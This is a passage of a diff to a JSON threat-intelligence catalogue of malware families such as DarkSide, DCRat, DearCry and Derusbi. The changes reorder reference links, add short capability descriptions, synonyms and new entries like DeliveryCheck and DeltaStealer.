"https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/", + "https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html", "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", - 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"https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", - "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://github.com/sisoma2/malware_analysis/tree/master/blackmatter", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps", + "https://zetter.substack.com/p/anatomy-of-one-of-the-first-darkside", + "https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/", + "https://twitter.com/ValthekOn/status/1422385890467491841?s=20", + "https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/", + "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", + "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://blog.cyble.com/2021/08/05/blackmatter-under-the-lens-an-emerging-ransomware-group-looking-for-affiliates/", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-gang-returns-as-new-blackmatter-operation/", + "https://www.ic3.gov/Media/News/2021/211101.pdf", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", + "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://www.youtube.com/watch?v=qxPXxWMI2i4", + "https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/", + "https://us-cert.cisa.gov/ncas/alerts/aa21-131a", + "https://www.repubblica.it/economia/finanza/2021/04/28/news/un_sospetto_attacco_telematico_blocca_le_filiali_della_bcc_di_roma-298485827/", + "https://blog.group-ib.com/blackmatter#", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://blog.group-ib.com/blackmatter2", "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://www.youtube.com/watch?v=NIiEcOryLpI", - "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-gang-returns-as-new-blackmatter-operation/", - "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps", - "https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf" + "https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf", + "https://www.metabaseq.com/recursos/inside-darkside-the-ransomware-that-attacked-colonial-pipeline#", + "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/" ], "synonyms": [ "BlackMatter" @@ -21002,8 +22001,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darksky", - "https://blog.radware.com/security/2018/02/darksky-botnet/", - "http://telegra.ph/Analiz-botneta-DarkSky-12-30" + "http://telegra.ph/Analiz-botneta-DarkSky-12-30", + "https://blog.radware.com/security/2018/02/darksky-botnet/" ], "synonyms": [], "type": [] @@ -21038,7 +22037,7 @@ "value": "DarkTequila" }, { - "description": "DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks® Counter Threat Unit™ (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver \"addon packages\" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.\r\n\r\nFrom January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.", + "description": "DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks\u00ae Counter Threat Unit\u2122 (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver \"addon packages\" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.\r\n\r\nFrom January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla", @@ -21055,11 +22054,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat", - "https://cracked.to/Thread-Release-RAT-Dark-track-alien-4-1", - "https://www.tgsoft.it/files/report/download.asp?id=7481257469", "https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html", - "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", "https://www.facebook.com/darktrackrat/", + "https://www.tgsoft.it/files/report/download.asp?id=7481257469", + "https://cracked.to/Thread-Release-RAT-Dark-track-alien-4-1", + "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", "http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml" ], "synonyms": [], @@ -21069,13 +22068,13 @@ "value": "Darktrack RAT" }, { - "description": "", + "description": "According to Enigmasoft, DarkVNC malware is a hacking tool that is available for purchase online. it is can be used as a Virtual Network Computing service, which means that the attackers can get full access to the targeted system via this malware. However, unlike a genuine Virtual Network Computing utility, the DarkVNC threat operates in the background silently. Therefore, it is highly likely that the victims may not notice that their systems have been compromised.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc", "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884", - "https://reaqta.com/2017/11/short-journey-darkvnc/", - "https://isc.sans.edu/diary/rss/28934" + "https://isc.sans.edu/diary/rss/28934", + "https://reaqta.com/2017/11/short-journey-darkvnc/" ], "synonyms": [], "type": [] @@ -21088,10 +22087,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", - "https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/", "https://www.secureworks.com/research/threat-profiles/bronze-butler", - "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", + "https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" ], "synonyms": [ "Muirim", @@ -21122,15 +22121,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.datper", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", "https://www.macnica.net/mpressioncss/feature_05.html/", "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", - "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html", "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", + "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/" ], "synonyms": [], "type": [] @@ -21143,17 +22142,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin", - "https://www.bleepingcomputer.com/news/security/chinese-cyberspies-target-govts-with-their-most-advanced-backdoor/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-malware-espionage-analysis", "https://www.nzz.ch/technologie/china-soll-mit-praezedenzloser-malware-regierungen-ausspioniert-haben-ld.1672292", - "https://twitter.com/M_haggis/status/1498399791276912640", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage-analysis", + "https://gist.github.com/usualsuspect/839fbc54e0d76bb2626329cd94274cd6", + "https://www.mandiant.com/resources/blog/chinese-espionage-tactics", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage", + "https://twitter.com/M_haggis/status/1498399791276912640", "https://www.reuters.com/technology/new-chinese-hacking-tool-found-spurring-us-warning-allies-2022-02-28/", "https://teamt5.org/tw/posts/backdoor-of-driver-analysis-Daxin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-malware-espionage-analysis", - "https://gist.github.com/usualsuspect/839fbc54e0d76bb2626329cd94274cd6" + "https://www.bleepingcomputer.com/news/security/chinese-cyberspies-target-govts-with-their-most-advanced-backdoor/" + ], + "synonyms": [ + "DELIMEAT" ], - "synonyms": [], "type": [] }, "uuid": "63bf3200-5e7b-4e29-ba1c-6bf834c15459", @@ -21164,12 +22166,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader", - "https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html", - "https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses", + "https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/", "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat", - "https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands", + "https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4", + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader", + "https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses", + "https://securityintelligence.com/posts/email-campaigns-leverage-updated-dbatloader-deliver-rats-stealers/", + "https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html", "https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/", - "https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/" + "https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands" ], "synonyms": [ "ModiLoader", @@ -21211,30 +22216,32 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat", - "https://embee-research.ghost.io/dcrat-manual-de-obfuscation/", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", "https://forensicitguy.github.io/snip3-crypter-dcrat-vbs/", - "https://cert.gov.ua/article/160530", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://community.riskiq.com/article/50c77491", - "https://www.youtube.com/watch?v=ElqmQDySy48", - "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", "https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time", + "https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/malspam-campaign-delivers-dark-crystal-rat-dcrat/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html", + "https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/", + "https://cert.gov.ua/article/405538", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://community.riskiq.com/article/50c77491", + "https://embee-research.ghost.io/dcrat-manual-de-obfuscation/", + "https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html", + "https://cert.gov.ua/article/160530", + "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", "https://www.zscaler.com/blogs/security-research/freecryptoscam-new-cryptocurrency-scam-leads-installation-backdoors-and", "https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html", "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html", - "https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", - "https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/malspam-campaign-delivers-dark-crystal-rat-dcrat/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html", - "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", - "https://cert.gov.ua/article/405538", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" + "https://www.youtube.com/watch?v=ElqmQDySy48", + "https://muha2xmad.github.io/malware-analysis/dcrat/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf" ], "synonyms": [ "DarkCrystal RAT" @@ -21277,11 +22284,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", - "https://unit42.paloaltonetworks.com/atoms/rancortaurus/" + "https://unit42.paloaltonetworks.com/atoms/rancortaurus/", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html" ], "synonyms": [], "type": [] @@ -21296,8 +22303,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", "https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/", - "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/" + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf" ], "synonyms": [ "Agrius", @@ -21314,9 +22321,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dealply", + "https://kienmanowar.wordpress.com/2021/05/11/quick-analysis-note-about-dealply-adware/", "https://securelist.com/threat-in-your-browser-extensions/107181", - "https://www.catonetworks.com/blog/the-dga-algorithm-used-by-dealply-and-bujo/", - "https://kienmanowar.wordpress.com/2021/05/11/quick-analysis-note-about-dealply-adware/" + "https://www.catonetworks.com/blog/the-dga-algorithm-used-by-dealply-and-bujo/" ], "synonyms": [], "type": [] @@ -21325,19 +22332,19 @@ "value": "DealPly" }, { - "description": "", + "description": "According to PCrisk, DearCry ransomware has been observed infecting systems via ProxyLogon vulnerabilities of Microsoft Exchange servers - mail and calendaring servers developed by Microsoft. While a patch has been released addressing these vulnerabilities, thousands of Microsoft Exchange servers remained unpatched at the time of research.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dearcry", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf", + "https://www.youtube.com/watch?v=qmCjtigVVR0", + "https://www.youtube.com/watch?v=6lSfxsrs61s&t=5s", "https://www.youtube.com/watch?v=Hhx9Q2i7zGo", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102b", - "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", - "https://www.youtube.com/watch?v=6lSfxsrs61s&t=5s", - "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/", - "https://www.youtube.com/watch?v=qmCjtigVVR0", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.youtube.com/watch?v=MRTdGUy1lfw", - "https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf" + "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/" ], "synonyms": [ "DoejoCrypt" @@ -21353,12 +22360,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom", "https://twitter.com/Amigo_A_/status/1196898012645220354", - "https://id-ransomware.blogspot.com/2019/11/wacatac-ransomware.html", - "https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html", - "https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html", - "https://github.com/albertzsigovits/malware-notes/blob/master/DeathRansom.md", "https://www.fortinet.com/blog/threat-research/death-ransom-new-strain-ransomware.html", - "https://asec.ahnlab.com/1269" + "https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html", + "https://asec.ahnlab.com/1269", + "https://github.com/albertzsigovits/malware-notes/blob/master/DeathRansom.md", + "https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html", + "https://id-ransomware.blogspot.com/2019/11/wacatac-ransomware.html" ], "synonyms": [ "deathransom", @@ -21401,8 +22408,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deepcreep", - "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/", - "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/", + "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/" ], "synonyms": [], "type": [] @@ -21428,19 +22435,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.defray", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://www.bleepingcomputer.com/news/security/government-software-provider-tyler-technologies-hit-by-ransomware/", - "https://www.proofpoint.com/us/blog/threat-insight/new-defray-ransomware-targets-education-and-healthcare-verticals", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/", - "https://www.secureworks.com/research/threat-profiles/gold-dupont", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.bleepingcomputer.com/news/security/government-software-provider-tyler-technologies-hit-by-ransomware/", "https://threatvector.cylance.com/en_us/home/threat-spotlight-defray-ransomware-hits-healthcare-and-education.html", - "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", "https://www.proofpoint.com/us/threat-insight/post/defray-new-ransomware-targeting-education-and-healthcare-verticals", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf" + "https://www.secureworks.com/research/threat-profiles/gold-dupont", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/", + "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", + "https://www.proofpoint.com/us/blog/threat-insight/new-defray-ransomware-targets-education-and-healthcare-verticals" ], "synonyms": [ "Glushkov" @@ -21477,6 +22484,23 @@ "uuid": "1f1a894f-7a1b-4b98-9280-d33cf884a539", "value": "DeimosC2" }, + { + "description": "According to CERT-UA, this malware makes use of XSLT (Extensible Stylesheet Language Transformations) and COM-hijacking. Its specificity is the presence of a server part, which is usually installed on compromised MS Exchange servers in the form of a MOF (Managed Object Format) file using the Desired State Configuration (DCS) PowerShell tool), effectively turning a legitimate server into a malware control center.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.delivery_check", + "https://cert.gov.ua/article/5213167", + "https://twitter.com/msftsecintel/status/1681695399084539908" + ], + "synonyms": [ + "CAPIBAR", + "GAMEDAY" + ], + "type": [] + }, + "uuid": "73ef709e-c88d-4737-a3fb-81d7ece5c97d", + "value": "DeliveryCheck" + }, { "description": "", "meta": { @@ -21489,6 +22513,19 @@ "uuid": "0be67307-670d-4558-bcf7-1387047bca4b", "value": "Delta(Alfa,Bravo, ...)" }, + { + "description": "Rust-based infostealer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltastealer", + "https://www.trendmicro.com/en_us/research/23/e/rust-based-info-stealers-abuse-github-codespaces.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3b38cd03-a387-43ce-b8d9-c337d51a84d0", + "value": "DeltaStealer" + }, { "description": "Dented is a banking bot written in C. It supports IE, Firefox, Chrome, Opera and Edge and comes with a simple POS grabber. Due to its modularity, reverse socks 5, tor and vnc can be added.", "meta": { @@ -21502,7 +22539,7 @@ "value": "Dented" }, { - "description": "According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.\r\n\r\nDePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.", + "description": "According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor \u2013 a trick falling under the \u201cPort Monitors\u201d technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the \u201cWindows Default Print Monitor\u201d name; that\u2019s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.\r\n\r\nDePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deprimon", @@ -21519,9 +22556,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", "https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html", - "https://web.archive.org/web/20130924130243/https://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html" + "https://web.archive.org/web/20130924130243/https://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html", + "https://www.secureworks.com/research/threat-profiles/bronze-keystone" ], "synonyms": [], "type": [] @@ -21556,27 +22593,27 @@ "value": "DeroHE" }, { - "description": " A DLL backdoor also reported publicly as “Derusbi”, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.", + "description": " A DLL backdoor also reported publicly as \u201cDerusbi\u201d, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi", - "https://attack.mitre.org/groups/G0096", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf", - "https://attack.mitre.org/groups/G0001/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", - "https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/", - "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", - "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf", - 